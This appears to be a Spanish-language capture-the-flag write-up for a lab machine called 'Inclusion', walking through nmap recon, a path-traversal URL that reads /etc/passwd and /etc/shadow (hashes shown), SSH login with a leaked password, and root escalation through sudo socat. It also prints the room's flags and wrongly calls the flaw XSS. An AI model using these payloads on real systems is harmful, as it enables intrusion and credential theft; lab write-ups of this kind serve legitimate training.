Inclusion

09/11/2021

Enumeration

Whatweb

whatweb 10.10.14.61
http://10.10.24.122 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/0.16.0 Python/3.6.9], IP[10.10.24.122], Python[3.6.9], Title[My blog], Werkzeug[0.16.0]

WhichSystem.py

mediante el tty, sabemos que es una maquina Linux
whichSystem.py 10.10.14.61
10.10.24.122 (ttl -> 61): Linux

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.14.61

22/tcp open ssh   syn-ack ttl 61
80/tcp open http   syn-ack ttl 61

descubrimos dos puertos

lanzaremos scripts basicos de reconocimiento y detectar la version

sudo nmap -sC -sV -p22,80 10.10.14.61

no se descubrimos algun tipo de vulnerabilidades

En la pagina nos dice que podemos hacer uso de xss
por lo que vamos a modificar la url

primero vemos en el /etc/passwd
http://10.10.14.61/article?name=../../../../..//etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd
Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash #falconfeast:rootpassword
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false

por lo que hemos encontrado un posible usuario con un posible password

http://10.10.14.61/article?name=../../../../.././/etc/shadow

root:6mFbzBSI/$c80cICObesNyF9XxbF6h6p6U2682MfG5gxJ5KtSLrGI8766/etwzBvppTuug6aLoltiSmeqdIaEUg6f/NLYDn0:18283:0:99999:7:::
daemon:*:17647:0:99999:7:::
bin:*:17647:0:99999:7:::
sys:*:17647:0:99999:7:::
sync:*:17647:0:99999:7:::
games:*:17647:0:99999:7:::
man:*:17647:0:99999:7:::
lp:*:17647:0:99999:7:::
mail:*:17647:0:99999:7:::
news:*:17647:0:99999:7:::
uucp:*:17647:0:99999:7:::
proxy:*:17647:0:99999:7:::
www-data:*:17647:0:99999:7:::
backup:*:17647:0:99999:7:::
list:*:17647:0:99999:7:::
irc:*:17647:0:99999:7:::
gnats:*:17647:0:99999:7:::
nobody:*:17647:0:99999:7:::
systemd-network:*:17647:0:99999:7:::
systemd-resolve:*:17647:0:99999:7:::
syslog:*:17647:0:99999:7:::
messagebus:*:17647:0:99999:7:::
_apt:*:17647:0:99999:7:::
lxd:*:18281:0:99999:7:::
uuidd:*:18281:0:99999:7:::
dnsmasq:*:18281:0:99999:7:::
landscape:*:18281:0:99999:7:::
pollinate:*:18281:0:99999:7:::
falconfeast:6dYJsdbeD$rlYGlx24kUUcSHTc0dMutxEesIAUA3d8nQeTt6FblVffELe3FxLE3gOID5nLxpHoycQ9mfSC.TNxLxet9BN5c/:18281:0:99999:7:::
sshd:*:18281:0:99999:7:::
mysql:!:18281:0:99999:7:::

encontramos posibles password encriptados del usuario falconfeast

Obteniendo acceso a usuario normal

ingresamos mediante ssh
ssh falconfeast@10.10.14.61 -p 22
password: rootpassword

y tenemos exito

```
pwd
/home/falconfeast
ls
articles  user.txt
cat user.txt
```

obetenemos la bandera
60989655118397345799

Explotation

ahora buscamos algun tipo de escalada de privilegios
encontramos

ejecutando el siguiente comando podemos escalar privilegios

```
sudo -l
```

```
Matching Defaults entries for falconfeast on inclusion:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User falconfeast may run the following commands on inclusion:
    (root) NOPASSWD: /usr/bin/socat
```

ejecutando el siguiente comando podemos escalar privilegios

Obteniendo acceso a usuario root

para escalar privilegios en socat nos iremos a

ejecutamos

```
sudo socat stdin exec:/bin/sh
```

tenemos acceso con escalada de privilegios

```
cd root
ls
root.txt
cat root.txt
```

obetenemos la bandera

4296410484549515390 9